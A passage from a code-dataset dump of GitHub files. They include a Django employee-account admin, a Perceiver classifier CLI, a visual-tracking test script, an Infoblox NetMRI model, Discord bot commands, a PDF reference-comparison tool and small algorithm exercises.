(\n \"unitkerja\",\n \"atasan\",\n (\"gelar_depan\", \"nama_lengkap\", \"gelar_belakang\"),\n \"jabatan\",\n \"jenis_jabatan\",\n \"golongan\",\n \"eselon\",\n \"jenis_pegawai\",\n \"status_pegawai\",\n ),\n },\n ),\n (\n \"Hak Akses\",\n {\n \"fields\": (\n \"tangggal_nonaktif\",\n \"is_active\",\n \"is_staff\",\n \"is_superuser\",\n \"groups\",\n ),\n },\n ),\n (\n \"Tanggal Penting\",\n {\n \"fields\": (\"last_login\", \"date_joined\"),\n },\n ),\n )\n\n def get_list_display(self, request):\n if request.user.is_superuser:\n return (\n \"get_name_and_username\",\n \"unitkerja\",\n \"jabatan\",\n \"jenis_jabatan\",\n \"get_akses\",\n \"aksi\",\n )\n return super().get_list_display(request)\n\n def get_name_and_username(self, obj):\n html_ = \"\"\"\n {}
\n {}\n \"\"\".format(\n obj.username, obj.get_complete_name()\n )\n return mark_safe(html_)\n\n get_name_and_username.short_description = \"Pegawai\"\n\n def get_akses(self, obj):\n groups = obj.groups.all()\n if groups.exists():\n return [\"\".join(item.name) for item in groups]\n return \"-\"\n\n get_akses.short_description = \"Akses\"\n\n def get_form(self, request, obj=None, **kwargs):\n form = super().get_form(request, obj, **kwargs)\n form.request = request\n return form\n\n def aksi(self, obj):\n str_aksi = \"\"\"\n \n \"\"\" % (\n reverse(\"loginas-user-login\", kwargs={\"user_id\": obj.id}),\n obj.nama_lengkap,\n )\n return mark_safe(str_aksi)\n\n def view_pegawai_profile(self, request):\n form = UploadFotoPegawai(instance=request.user)\n if request.POST:\n form = UploadFotoPegawai(request.POST, request.FILES, instance=request.user)\n if form.is_valid():\n form.save()\n else:\n messages.add_message(request, messages.ERROR, form.errors.as_text())\n\n extra_context = {\n \"title\": \"Profile ({})\".format(request.user.username),\n \"title_sort\": \"Profile\",\n \"unor_list\": UnitKerja.objects.filter(aktif=True),\n \"form\": form,\n \"atasan\": request.user.atasan if request.user.atasan else None,\n }\n # if request.user.atasan is None:\n # extra_context.update({\n # 'unor_list': UnitKerja.objects.filter(aktif=True)\n # })\n return render(request, \"admin/usom/account/profile.html\", extra_context)\n\n def view_pegawai_edit_profile(self, request, id):\n try:\n obj = Account.objects.get(pk=id)\n except Account.DoesNotExist or Exception:\n raise Http404\n\n form = EditProfilPegawai(instance=obj)\n if request.POST:\n form = EditProfilPegawai(request.POST, instance=obj)\n if form.is_valid():\n form.save()\n messages.success(\n request, \"Berhasil merubah {}\".format(obj.get_complete_name())\n )\n return redirect(reverse('admin:usom_account_profile'))\n else:\n messages.error(request, form.errors)\n\n extra_context = {\n \"title\": \"Edit Profile ({})\".format(request.user.username),\n \"title_sort\": \"Edit Profile\",\n # \"golongan_list\": Account.GOLONGAN,\n # \"unor_list\": UnitKerja.objects.filter(aktif=True),\n \"obj\": obj,\n \"form\": form,\n }\n return render(request, \"admin/usom/account/profile_edit.html\", extra_context)\n\n def view_pegawai_json(self, request):\n results = []\n search = request.GET.get(\"search\", None)\n unor_id = request.GET.get(\"unor_id\", None)\n pegawai_list = Account.objects.filter(is_active=True)\n if unor_id:\n pegawai_list = pegawai_list.filter(unitkerja_id=unor_id)\n\n if search:\n pegawai_list = pegawai_list.filter(\n Q(nama_lengkap__icontains=search) | Q(username__icontains=search)\n )\n pegawai_list = pegawai_list.exclude(id=request.user.id)\n for item in pegawai_list:\n obj = {\n \"id\": item.id,\n \"text\": \"[{}] {}\".format(item.username, item.get_complete_name()),\n }\n results.append(obj)\n respon = {\"success\": True, \"results\": results}\n return JsonResponse(respon)\n\n def action_set_pegawai_atasan(self, request):\n respon = {\"success\": False, \"message\": \"Terjadi kesalahan\"}\n user = request.user\n atasan_id = request.GET.get(\"atasan_id\", None)\n if atasan_id:\n try:\n obj = Account.objects.get(id=atasan_id)\n except Account.DoesNotExist:\n respon = {\"success\": False, \"message\": \"Akun atasan tidak ditemukan\"}\n else:\n user.atasan = obj\n user.save()\n respon = {\"success\": True}\n return JsonResponse(respon)\n\n def sinkron_data_pegawai(self, request):\n respon = {}\n nip = request.GET.get(\"nip\", None)\n if nip:\n sync = ServiceSipo().sinkron_pegawai_by_nip(nip)\n if sync:\n try:\n pegawai = Account.objects.get(username=nip)\n except Account.DoesNotExist:\n pass\n else:\n data = {\n \"nip\": pegawai.username,\n \"nama_lengkap\": pegawai.get_complete_name(),\n \"unor\": pegawai.unitkerja.unitkerja\n if pegawai.unitkerja\n else \"-\",\n \"jabatan\": pegawai.jabatan,\n \"jenis_jabatan\": pegawai.jenis_jabatan,\n \"golongan\": pegawai.golongan.__str__(),\n \"eselon\": pegawai.eselon,\n }\n respon = {\"success\": True, \"data\": data}\n return JsonResponse(respon)\n\n def get_urls(self):\n admin_url = super().get_urls()\n custom_url = [\n path(\n \"profile\",\n self.admin_site.admin_view(self.view_pegawai_profile),\n name=\"usom_account_profile\",\n ),\n path(\n \"profile//edit\",\n self.admin_site.admin_view(self.view_pegawai_edit_profile),\n name=\"usom_account_profile_edit\",\n ),\n path(\n \"json\",\n self.admin_site.admin_view(self.view_pegawai_json),\n name=\"usom_account_as_json\",\n ),\n path(\n \"set-atasan\",\n self.admin_site.admin_view(self.action_set_pegawai_atasan),\n name=\"usom_account_set_atasan\",\n ),\n path(\n \"sync-data\",\n self.admin_site.admin_view(self.sinkron_data_pegawai),\n name=\"usom_account_sync_data\",\n ),\n ]\n return custom_url + admin_url\n\n\nadmin.site.register(Account, AccountAdmin)\n","repo_name":"febriahmadn/skp-tulungagung","sub_path":"usom/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":9867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"42401593293","text":"from perceiver.cli import CLI\n\n# register data module via import\nfrom perceiver.data import IMDBDataModule # noqa: F401\nfrom perceiver.model import LitTextClassifier\nfrom pytorch_lightning.utilities.cli import LightningArgumentParser\n\n\nclass TextClassifierCLI(CLI):\n def add_arguments_to_parser(self, parser: LightningArgumentParser) -> None:\n super().add_arguments_to_parser(parser)\n parser.link_arguments(\"data.vocab_size\", \"model.vocab_size\", apply_on=\"instantiate\")\n parser.link_arguments(\"data.max_seq_len\", \"model.max_seq_len\", apply_on=\"instantiate\")\n parser.set_defaults(\n {\n \"experiment\": \"seq_clf\",\n \"model.num_classes\": 2,\n \"model.num_latents\": 64,\n \"model.num_latent_channels\": 64,\n \"model.encoder.num_layers\": 3,\n \"model.decoder.num_cross_attention_heads\": 1,\n }\n )\n\n\nif __name__ == \"__main__\":\n TextClassifierCLI(LitTextClassifier, description=\"Text classifier\", run=True)\n","repo_name":"rtu715/NAS-Bench-360","sub_path":"perceiver-io/scripts/seq_clf.py","file_name":"seq_clf.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"11"} +{"seq_id":"35723130288","text":"def main():\n ''' refinement module testing code '''\n os.environ['CUDA_VISIBLE_DEVICES'] = '0'\n save_root = '/home/masterbin-iiau/Desktop/scale_estimator_debug'\n project_path = '/home/masterbin-iiau/Desktop/scale-estimator'\n refine_root = os.path.join(project_path, 'ltr/checkpoints/ltr/SEbcm/')\n refine_model_name = 'SEbcm'\n refine_path = os.path.join(refine_root, refine_model_name)\n selector_root = os.path.join(project_path, 'ltr/checkpoints/ltr/selector')\n selector_model_name = 'selector_bcm'\n selector_path = os.path.join(selector_root, selector_model_name)\n SE_module = RefineModule(refine_path, selector_path)\n video_dir = '/media/masterbin-iiau/WIN_SSD/GOT10K/train/GOT-10k_Train_008936'\n # video_dir = '/media/masterbin-iiau/WIN_SSD/GOT10K/test/GOT-10k_Test_000001'\n # video_dir = '/media/masterbin-iiau/EAGET-USB/LaSOT_Test/airplane-1'\n # video_dir = '/media/masterbin-iiau/EAGET-USB/LaSOTBenchmark/airplane/airplane-9'\n video_name = video_dir.split('/')[-1]\n save_dir = os.path.join(save_root, video_name)\n if not os.path.exists(save_dir):\n os.mkdir(save_dir)\n gt_file = os.path.join(video_dir, 'groundtruth.txt')\n gt = np.loadtxt(gt_file, dtype=np.float32, delimiter=',')\n frame1_path = os.path.join(video_dir, '00000001.jpg')\n # frame1_path = os.path.join(video_dir, 'img','00000001.jpg')\n frame1 = cv2.cvtColor(cv2.imread(frame1_path), cv2.COLOR_BGR2RGB)\n SE_module.initialize(frame1, gt[0])\n for i in range(1, gt.shape[0]):\n # print(i)\n # frame_path = os.path.join(video_dir,'img', '%08d.jpg'%(i+1))\n frame_path = os.path.join(video_dir, '%08d.jpg' % (i + 1))\n frame = cv2.imread(frame_path)\n frame_RGB = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n output_dict = SE_module.refine(frame_RGB, gt[i], mode='all', test=True)\n '''add bbox'''\n # frame = add_frame_bbox(frame,output_dict['bbox'],(255,0,0))\n '''add mask'''\n frame = add_frame_mask(frame, output_dict['mask'], 0.5)\n '''add mask bbox'''\n # frame = add_frame_bbox(frame,output_dict['mask_bbox'],(0,0,255))\n '''add corner'''\n # frame = add_frame_bbox(frame,output_dict['corner'],(0,255,0))\n '''add fuse bbox'''\n frame = add_frame_bbox(frame, output_dict['all'], (0, 0, 255))\n '''show'''\n save_path = os.path.join(save_dir, '%08d.jpg' % (i + 1))\n cv2.imwrite(save_path, frame)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"MasterBin-IIAU/AlphaRefine","sub_path":"pytracking/refine_modules/test_rf.py","file_name":"test_rf.py","file_ext":"py","file_size_in_byte":2498,"program_lang":"python","lang":"en","doc_type":"code","stars":183,"dataset":"github-code","pt":"11"} +{"seq_id":"74213061788","text":"from ..remote import RemoteModel\nfrom infoblox_netmri.utils.utils import check_api_availability\n\n\nclass IfWirelessSSIDAuthRemote(RemoteModel):\n \"\"\"\n This table list out the entries of WirelessSSID Authentication.\n\n\n | ``IfWirelessSSIDAuthID:`` The internal NetMRI identifier of the Wireless SSID Authentication.\n | ``attribute type:`` number\n\n | ``DataSourceID:`` The internal NetMRI identifier for the collector NetMRI that collected this data record.\n | ``attribute type:`` number\n\n\n | ``DeviceID:`` The internal NetMRI identifier for the device from which wireless SSID information was collected.\n | ``attribute type:`` number\n\n | ``InterfaceID:`` The internal NetMRI identifier for the local interface for this Wireless SSID table entry.\n | ``attribute type:`` number\n\n | ``ifWirelessSSIDAuthStartTime:`` The starting effective time of this record.\n | ``attribute type:`` datetime\n\n | ``ifWirelessSSIDAuthEndTime:`` The ending effective time of this record, or empty if still in effect.\n | ``attribute type:`` datetime\n\n | ``ifWirelessSSIDAuthChangedCols:`` The fields that changed between this revision of the record and the previous revision.\n | ``attribute type:`` string\n\n | ``ifWirelessSSIDAuthTimestamp:`` The date and time this record was collected or calculated.\n | ``attribute type:`` datetime\n\n | ``SSIDIndex:`` The SSID index of the local interface for this Wireless SSID.\n | ``attribute type:`` string\n\n | ``SSIDAlgorithmIndex:`` The SSID algorithm index of the wireless SSID.\n | ``attribute type:`` string\n\n | ``SSIDAuthEnabledInd:`` A flag indicates SSID Authentication is enabled or not.\n | ``attribute type:`` bool\n\n | ``SSIDEAPRequiredInd:`` A flag indicates whether an extensible authentication protocol is required or not.\n | ``attribute type:`` bool\n\n | ``SSIDEAPMethod:`` The Extensible Authentication Protocol Method is used in theWirelessSSIDAuth.\n | ``attribute type:`` string\n\n | ``SSIDMACAuthRequiredInd:`` A flag indicates the SSID Media Access Controller(MAC) is required the authentication or not.\n | ``attribute type:`` bool\n\n | ``SSIDMACAuthMethod:`` The Media Access Controller(MAC) authentication method in the Wireless SSID.\n | ``attribute type:`` string\n\n | ``SSIDDefaultVlanIndex:`` The default VLAN index of the local interface of the Wireless SSID.\n | ``attribute type:`` string\n\n | ``VlanID:`` The internal NetMRI identifier of the VLAN.\n | ``attribute type:`` number\n\n | ``SSIDAuthAlgorithm:`` The SSID Authentication algorithm in the interface wireless.\n | ``attribute type:`` string\n\n\n\n\n\n \"\"\"\n\n properties = (\"IfWirelessSSIDAuthID\",\n \"DataSourceID\",\n \"DeviceID\",\n \"InterfaceID\",\n \"ifWirelessSSIDAuthStartTime\",\n \"ifWirelessSSIDAuthEndTime\",\n \"ifWirelessSSIDAuthChangedCols\",\n \"ifWirelessSSIDAuthTimestamp\",\n \"SSIDIndex\",\n \"SSIDAlgorithmIndex\",\n \"SSIDAuthEnabledInd\",\n \"SSIDEAPRequiredInd\",\n \"SSIDEAPMethod\",\n \"SSIDMACAuthRequiredInd\",\n \"SSIDMACAuthMethod\",\n \"SSIDDefaultVlanIndex\",\n \"VlanID\",\n \"SSIDAuthAlgorithm\",\n )\n\n @property\n @check_api_availability\n def data_source(self):\n \"\"\"\n The collector NetMRI that collected this data record.\n ``attribute type:`` model\n \"\"\"\n return self.broker.data_source(**{\"IfWirelessSSIDAuthID\": self.IfWirelessSSIDAuthID})\n\n @property\n @check_api_availability\n def device(self):\n \"\"\"\n The device from which this data was collected.\n ``attribute type:`` model\n \"\"\"\n return self.broker.device(**{\"IfWirelessSSIDAuthID\": self.IfWirelessSSIDAuthID})\n\n @property\n @check_api_availability\n def interface(self):\n \"\"\"\n interface\n ``attribute type:`` model\n \"\"\"\n return self.broker.interface(**{\"IfWirelessSSIDAuthID\": self.IfWirelessSSIDAuthID})\n\n @property\n @check_api_availability\n def vlan(self):\n \"\"\"\n vlan\n ``attribute type:`` model\n \"\"\"\n return self.broker.vlan(**{\"IfWirelessSSIDAuthID\": self.IfWirelessSSIDAuthID})\n\n @property\n @check_api_availability\n def infradevice(self):\n \"\"\"\n The device from which this data was collected.\n ``attribute type:`` model\n \"\"\"\n return self.broker.infradevice(**{\"IfWirelessSSIDAuthID\": self.IfWirelessSSIDAuthID})\n","repo_name":"infobloxopen/infoblox-netmri","sub_path":"infoblox_netmri/api/remote/models/if_wireless_ssid_auth_remote.py","file_name":"if_wireless_ssid_auth_remote.py","file_ext":"py","file_size_in_byte":4711,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"11"} +{"seq_id":"29983638512","text":"from config import*\n\ninfo = {\n \"name\" : \">flood [custom string]\",\n \"desc\" : \"Make *all* the mods angry\"\n}\n\nasync def command(ctx, client):\n t = parseMessage(ctx.content)\n\n if ctx.author.guild_permissions.manage_messages:\n\n if t.getContent(1) == \"\": #If no custom message is provided, a random one from a list is\n for i in range (0,5): #Wow I learned how to do it\n spam = ['gak','mo','bee','loot','owo']\n choice = random.choice(spam)\n await ctx.channel.send(os.environ.get(choice))\n else:\n custom = t.getContent(1) #Sets custom to custom message provided \n newCustom = custom #Creates two identical variables \n while 2000-len(custom) > len(newCustom): #Adds the custom message to the full message until adding another one would break the 2000 character limit\n custom = custom + newCustom\n for i in range (0,5): #This *should* work\n await ctx.channel.send(custom)\n\t\n else:\n m = await ctx.channel.send(\"You don't have manage message permissions, file a complaint with your precinct's Discord moderator\")\n\n ","repo_name":"jacobjeremiahjohnson/Robot-Man-v3","sub_path":"commands/flood.py","file_name":"flood.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"1236049769","text":"import json\n\nfrom pathos.pools import ProcessPool\nfrom tqdm import tqdm\n\nfrom check_db import check_db\nfrom get_refs import get_refs\nfrom reference_class import Reference, ReferenceMiner\n\n\ndef init_comparison(manuscript, no_save, no_db, files=None):\n \"\"\"Initialize comparison.\"\"\"\n # Start writing file.\n with open(\"output.txt\", 'w') as output:\n output.write(\n \"***OUTPUT OF COMPARISON OF MANUSCRIPT AND REFERENCE(S)*** \\n \\n\")\n\n # list of list of string\n manuscript_sentences = manuscript.words_ms\n # word embeddings\n manuscript_embeddings = manuscript.embeddings\n\n # Write each manuscript sentence to output.txt.\n # tqdm times the iterations.\n for sentence in tqdm(manuscript_sentences):\n ms_embeddings = next(manuscript_embeddings)\n with open(\"output.txt\", 'a') as output:\n lines = ['\\n', '\\n', ' '.join(sentence), '\\n']\n output.writelines(lines)\n if files is not None:\n # Use a thread pool to speed up the reading of PDFs.\n def wrapper(file):\n return vet_refs(sentence, ms_embeddings, file, no_save,\n no_db)\n with ProcessPool() as pool:\n pool.map(wrapper, files)\n else:\n # Same as above but with json and calls get_refs.\n with open(\"references.json\", 'r') as references:\n refs_data = references.read()\n refs_list = json.loads(refs_data)\n def wrapper(ref):\n return get_refs(sentence, ref, ms_embeddings, True,\n no_save, no_db)\n with ProcessPool() as pool:\n pool.map(wrapper, refs_list)\n\n\ndef vet_refs(sentence, ms_embeddings, ref_file, no_save, no_db):\n \"\"\"Pick the best method of reading the pdf or\n move to next ref if unreadable.\"\"\"\n # return dictionary if reference is stored, else return None\n is_stored = check_db(ref_file) # ref_file is str\n\n if is_stored and not no_db:\n # Use json\n get_refs(sentence, is_stored, ms_embeddings, True, no_save, no_db)\n else:\n ref = Reference(ref_file)\n ref_sentences = ref.sentences\n\n # Check if PyPDF read the pdf properly.\n if not ref_sentences or len(ref.words[0]) > 15:\n # If not, try again with pdfminer\n ref = ReferenceMiner(ref_file)\n ref_sentences = ref.sentences\n # If that doesn't work, give up and move on.\n if not ref_sentences or len(ref.words[0]) > 15:\n with open(\"output.txt\", 'a') as output:\n output.write(\"{} cannot be read \\n\".format(ref.name))\n # If it works, call get_refs w/ ReferenceMiner class.\n elif no_db:\n get_refs(sentence, ref, ms_embeddings, True, no_save, no_db)\n else: get_refs(sentence, ref, ms_embeddings, False, no_save,\n no_db)\n # Use Reference class\n elif no_db:\n get_refs(sentence, ref, ms_embeddings, True, no_save, no_db)\n else:\n get_refs(sentence, ref, ms_embeddings, False, no_save, no_db)\n\n","repo_name":"licjon/reference-finder","sub_path":"refFinder/src/init_comparison.py","file_name":"init_comparison.py","file_ext":"py","file_size_in_byte":3166,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"70552450268","text":"import streamlit as st\nfrom another import xx\nimport pandas as pd\nfrom database import data\n\nif __name__==\"__main__\":\n st.title(\"federico Scraper\")\n email = st.text_input('Enter your email')\n url = st.text_input('Enter url for product')\n price = st.text_input('Enter desired price to get notified')\n x=pd.read_csv(\"C:/Users/39338/Downloads/customer.csv\")\n series_obj = pd.Series([url,email,price,],\n index=x.columns)\n xx = x.append(series_obj,\n ignore_index=True)\n xx.to_csv(\"C:/Users/39338/Downloads/customer.csv\",index=False)\n st.write('oki,we will notify you ,when the price is right')\n","repo_name":"Alexamannn/Daily_Pricetracker_Hackathon","sub_path":"hackathon/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"27366125945","text":"from configparser import ConfigParser\n\ncommandfile = open(\"../config/commands.list\", \"r+\")\ncommandlist = commandfile.read().split(\" \")\n\ndef pyhelp(message, sprefix, prefix):\n # read the lang file\n sconfig = ConfigParser()\n sconfig.read('../servers/' + message.server.id + '/serverconfig.ini')\n serverlang = sconfig.get('Config', 'lang')\n langfile = open(\"../config/lang/\" + serverlang + \".lang\", \"r\", encoding='utf-8')\n lang = langfile.read().split(\"\\n\")\n\n msg = \"\"\n msgargs = message.content[1:].split(\" \")\n # default\n def defaulthelp():\n msg = \"\"\" ```css\n\"\"\" + lang[18] + \"\"\"\n- \"\"\" + sprefix + \"\"\"pyhelp [\"\"\" + lang[21] + \"\"\"]\n /* \"\"\" + lang[22] + \"\"\" */\n- \"\"\" + sprefix + \"\"\"pyaddcommand name=<\"\"\" + lang[23] + \"\"\">&text=<\"\"\" + lang[24] + \"\"\">[&description=<\"\"\" + lang[25] + \"\"\">]\n /* \"\"\" + lang[26] + \"\"\" */\n- \"\"\" + sprefix + \"\"\"pysetcommand name=<\"\"\" + lang[23] + \"\"\">[&text=<\"\"\" + lang[24] + \"\"\">&description=<\"\"\" + lang[25] + \"\"\">]\n /* \"\"\" + lang[27] + \"\"\" */\n- \"\"\" + sprefix + \"\"\"pyremovecommand name=<\"\"\" + lang[23] + \"\"\">\n /* \"\"\" + lang[30] + \"\"\" */\n- \"\"\" + sprefix + \"\"\"pysettings prefix/lang\n /* \"\"\" + lang[28] + \"\"\" */\n- \"\"\" + sprefix + \"\"\"pycommandlist\n /* \"\"\" + lang[29] + \"\"\" */\n- \"\"\" + sprefix + \"\"\"pyclean\n /* \"\"\" + lang[31] + \"\"\" */\n- \"\"\" + prefix + \"\"\"pyprefix\n /* \"\"\" + lang[38] + \"\"\" */\n``` \"\"\"\n return(msg)\n\n # addcommand\n def addhelp(lang):\n msg = \"\"\" ```css\n- \"\"\" + sprefix + \"\"\"pyaddcommand name=<\"\"\" + lang[23] + \"\"\">&text=<\"\"\" + lang[24] + \"\"\">[&description=<\"\"\" + lang[25] + \"\"\">]\n /* \"\"\" + lang[26] + \"\"\" */\n\"\"\" + lang[36] + \"\"\" '\"\"\" + sprefix + \"\"\"pyaddcommand name=bot&descriptoin=discord&text=python'\n```\"\"\"\n return(msg)\n # removecommand\n def removehelp(lang):\n msg = \"\"\" ```css\n- \"\"\" + sprefix + \"\"\"pyremovecommand name=<\"\"\" + lang[23] + \"\"\">\n /* \"\"\" + lang[30] + \"\"\" */\n\"\"\" + lang[36] + \"\"\" '\"\"\" + sprefix + \"\"\"pyremovecommand name=bot'\n```\"\"\"\n return(msg)\n # setcommand\n def setcommandhelp(lang):\n msg = \"\"\" ```css\n- \"\"\" + sprefix + \"\"\"pysetcommand name=<\"\"\" + lang[23] + \"\"\">[&text=<\"\"\" + lang[24] + \"\"\">&description=<\"\"\" + lang[25] + \"\"\">]\n /* \"\"\" + lang[27] + \"\"\" */\n\"\"\" + lang[36] + \"\"\" '\"\"\" + sprefix + \"\"\"pysetcommand name=bot&text=python&descriptoin=discord'\n```\"\"\"\n return(msg)\n # settings\n def settingshelp(lang):\n msg = \"\"\" ```css\n- \"\"\" + sprefix + \"\"\"pysettings\n /* \"\"\" + lang[28] + \"\"\" */\n\"\"\" + lang[3] + \"\"\"\n\"\"\" + sprefix + \"\"\"pysettings prefix <\"\"\" + lang[33] + \"\"\">\n /* \"\"\" + lang[34] + \"\"\" */\n\"\"\" + sprefix + \"\"\"pysettings lang <\"\"\" + lang[32] + \"\"\">\n /* \"\"\" + lang[35] + \"\"\" */\n```\"\"\"\n return(msg)\n # commandlist\n def listhelp(lang):\n msg = \"\"\" ```css\n- \"\"\" + sprefix + \"\"\"pycommandlist\n /* \"\"\" + lang[29] + \"\"\" */\n```\"\"\"\n return(msg)\n # clean\n def cleanhelp(lang):\n msg = \"\"\" ```css\n- \"\"\" + sprefix + \"\"\"pyclean\n /* \"\"\" + lang[31] + \"\"\" */\n```\"\"\"\n # prefix\n def prefixhelp(lang):\n msg = \"\"\" ```css\n- \"\"\" + prefix + \"\"\"pyprefix\n /* \"\"\" + lang[38] + \"\"\" */\n```\"\"\"\n return(msg)\n\n # default help\n commandlist.append(\"pyprefix\")\n nothelp = [\"pyhelp\", \"reload\"]\n\n if len(msgargs) == 1:\n msg = defaulthelp()\n elif msgargs[1] not in commandlist or msgargs[1] in nothelp:\n msg = defaulthelp()\n # pyaddcommand\n elif msgargs[1] == \"pyaddcommand\":\n msg = addhelp(lang)\n # pyremovecommand\n elif msgargs[1] == \"pyremovecommand\":\n msg = removehelp(lang)\n elif msgargs[1] == \"pysetcommand\":\n msg = setcommandhelp(lang)\n elif msgargs[1] == \"pysettings\":\n msg = settingshelp(lang)\n elif msgargs[1] == \"pycommandlist\":\n msg = listhelp(lang)\n elif msgargs[1] == \"pyclean\":\n msg = cleanhelp(lang)\n elif msgargs[1] == \"pyprefix\":\n msg = prefixhelp(lang)\n return(msg)\n","repo_name":"farkasmate/PyDiscordBot","sub_path":"app/pyhelp.py","file_name":"pyhelp.py","file_ext":"py","file_size_in_byte":3901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"952090761","text":"\"\"\"Listen smart contract events (logs, topics) for a given Populus Contract class.\"\"\"\n\nimport logging\nfrom binascii import b2a_hex\nfrom typing import Callable, Iterable, Tuple\nfrom ethereum import utils as ethereum_utils\n\nfrom web3 import Web3\n\nfrom .contractlistener import ContractListener, callback_type\nfrom .decodeutils import decode_multi\nfrom .decodeutils import decode_single\n\n\n#: Default logger\n_logger = logging.getLogger(__name__)\n\n\n#: Call on a new event. This is contract_address, event_name, translated_event_data, log_entry. Callback should return true if the event resulted any kind of update on the data structures - this is used for testing purposes.\nPOPULUS_CONTRACT_EVENT_CALLBACK_TYPE = Callable[[str, str, dict, dict], bool]\n\n\ndef create_populus_listener(web3: Web3,\n callback: POPULUS_CONTRACT_EVENT_CALLBACK_TYPE,\n contract: type,\n from_block=0) -> ContractListener:\n \"\"\"Create a wallet contract listener.\n\n Listen all events we declare in our wallet contract ABI.\n \"\"\"\n\n events = get_contract_events(contract)\n\n # Parsed hex string -> event mappings.\n # We parse to avoid padding zero issues.\n event_map = {signature:event for signature, event in events}\n\n def _wrapper_callback(contract_address: str, signature: str, log_entry: dict):\n event = event_map.get(int(signature, 16))\n assert event, \"Signature {} not in event map {}\".format(signature, event_map)\n log_data = event.get_log_data(log_entry, indexed=True)\n return callback(contract_address, event.name, log_data, log_entry)\n\n listener = ContractListener(web3, _wrapper_callback, from_block)\n return listener\n\n\ndef get_contract_events(contract: type) -> Iterable[Tuple[bytes, object]]:\n \"\"\"Get list of events provided by Populus contract.\n\n :yield: events in (event topic signature as int, Event object) tuples\n \"\"\"\n\n for member in contract.abi:\n if member[\"type\"] == \"event\":\n event = Event(member[\"name\"], member[\"inputs\"], member[\"anonymous\"])\n hash = event.event_topic\n hash = int(hash, 16)\n yield (hash, event)\n\n\nclass EmptyDataError(Exception):\n pass\n\n\nclass Event:\n \"\"\"Helper class for managing topics/events.\n\n Lifted from Populus 0.8.0 before web3 migration.\n \"\"\"\n\n def __init__(self, name, inputs, anonymous):\n self.name = name\n self.inputs = inputs\n self.anonymous = anonymous\n\n def __str__(self):\n return \"Event<{} {}>\".format(self.name, self.inputs)\n\n def __repr__(self):\n return self.__str__()\n\n @property\n def event_topic(self):\n return hex(ethereum_utils.big_endian_to_int(\n ethereum_utils.sha3(self.signature)\n )).strip('L')\n\n @property\n def signature(self):\n signature = \"{name}({arg_types})\".format(\n name=self.name,\n arg_types=','.join(self.input_types),\n )\n return signature\n\n @property\n def input_types(self):\n \"\"\"\n Iterable of the types this function takes.\n \"\"\"\n if self.inputs:\n return [i['type'] for i in self.inputs]\n return []\n\n @property\n def outputs(self):\n return [input for input in self.inputs if not input['indexed']]\n\n @property\n def output_types(self):\n \"\"\"\n Iterable of the types this function takes.\n \"\"\"\n if self.outputs:\n return [i['type'] for i in self.outputs]\n\n return []\n\n def cast_return_data(self, outputs, raw=False):\n if raw or len(self.output_types) != 1:\n try:\n return decode_multi(self.output_types, outputs)\n except AssertionError:\n raise EmptyDataError(\"call to {0} unexpectedly returned no data\".format(self))\n output_type = self.output_types[0]\n\n try:\n return decode_single(output_type, outputs)\n except AssertionError:\n raise EmptyDataError(\"call to {0} unexpectedly returned no data\".format(self))\n\n def get_log_data(self, log_entry, indexed=False):\n values = self.cast_return_data(log_entry['data'], raw=True)\n event_data = {\n output['name']: value for output, value in zip(self.outputs, values)\n }\n if indexed:\n for idx, _input in enumerate(self.inputs):\n if _input['indexed']:\n event_data[_input['name']] = decode_single(\n _input['type'],\n log_entry['topics'][idx + 1],\n )\n return event_data","repo_name":"websauna/websauna.wallet","sub_path":"websauna/wallet/ethereum/populuslistener.py","file_name":"populuslistener.py","file_ext":"py","file_size_in_byte":4649,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"11"} +{"seq_id":"72288007066","text":"class WordDistance:\n\n def __init__(self, words: List[str]):\n self.locations = defaultdict(list)\n for i, w in enumerate(words):\n self.locations[w].append(i)\n\n def shortest(self, word1: str, word2: str) -> int:\n loc1, loc2 = self.locations[word1], self.locations[word2]\n l1, l2 = 0, 0\n min_diff = float(\"inf\")\n\n while l1 < len(loc1) and l2 < len(loc2):\n min_diff = min(min_diff, abs(loc1[l1] - loc2[l2]))\n if loc1[l1] < loc2[l2]:\n l1 += 1\n else:\n l2 += 1\n return min_diff","repo_name":"harvi7/Leetcode-Problems-Python","sub_path":"Hash Table/shortest_word_distance_ii.py","file_name":"shortest_word_distance_ii.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"31362922651","text":"\"\"\" Last night you partied a little too hard. Now there's a black and white photo of you that's about to go viral!\nYou can't let this ruin your reputation, so you want to apply the box blur algorithm to the photo to hide its content.\nThe pixels in the input image are represented as integers. The algorithm distorts the input image in the following way:\nEvery pixel x in the output image has a value equal to the average value of the pixel values from the 3 × 3 square that has its center at x,\nincluding x itself. All the pixels on the border of x are then removed.\nReturn the blurred image as an integer, with the fractions rounded down. \"\"\"\n\ndef neighbour_sum(image,i,j):\n sum = 0\n for h in range(i-1,i+2):\n for k in range(j-1,j+2):\n sum += image[h][k]\n sum = math.floor(sum / 9)\n return sum\n\ndef boxBlur(image):\n height,width = len(image), len(image[0])\n output = []\n for i in range(1,height-1):\n temp = []\n for j in range(1, width-1):\n blurred_pixel = neighbour_sum(image,i,j)\n temp.append(blurred_pixel)\n output.append(temp)\n return output","repo_name":"Aditya1001001/code-signal","sub_path":"arcade/intro/boxBlur.py","file_name":"boxBlur.py","file_ext":"py","file_size_in_byte":1131,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"3313144115","text":"import numpy as np\nimport sys,os\nimport pickle, gzip\nimport pandas as pd\nimport matplotlib,matplotlib.pyplot as 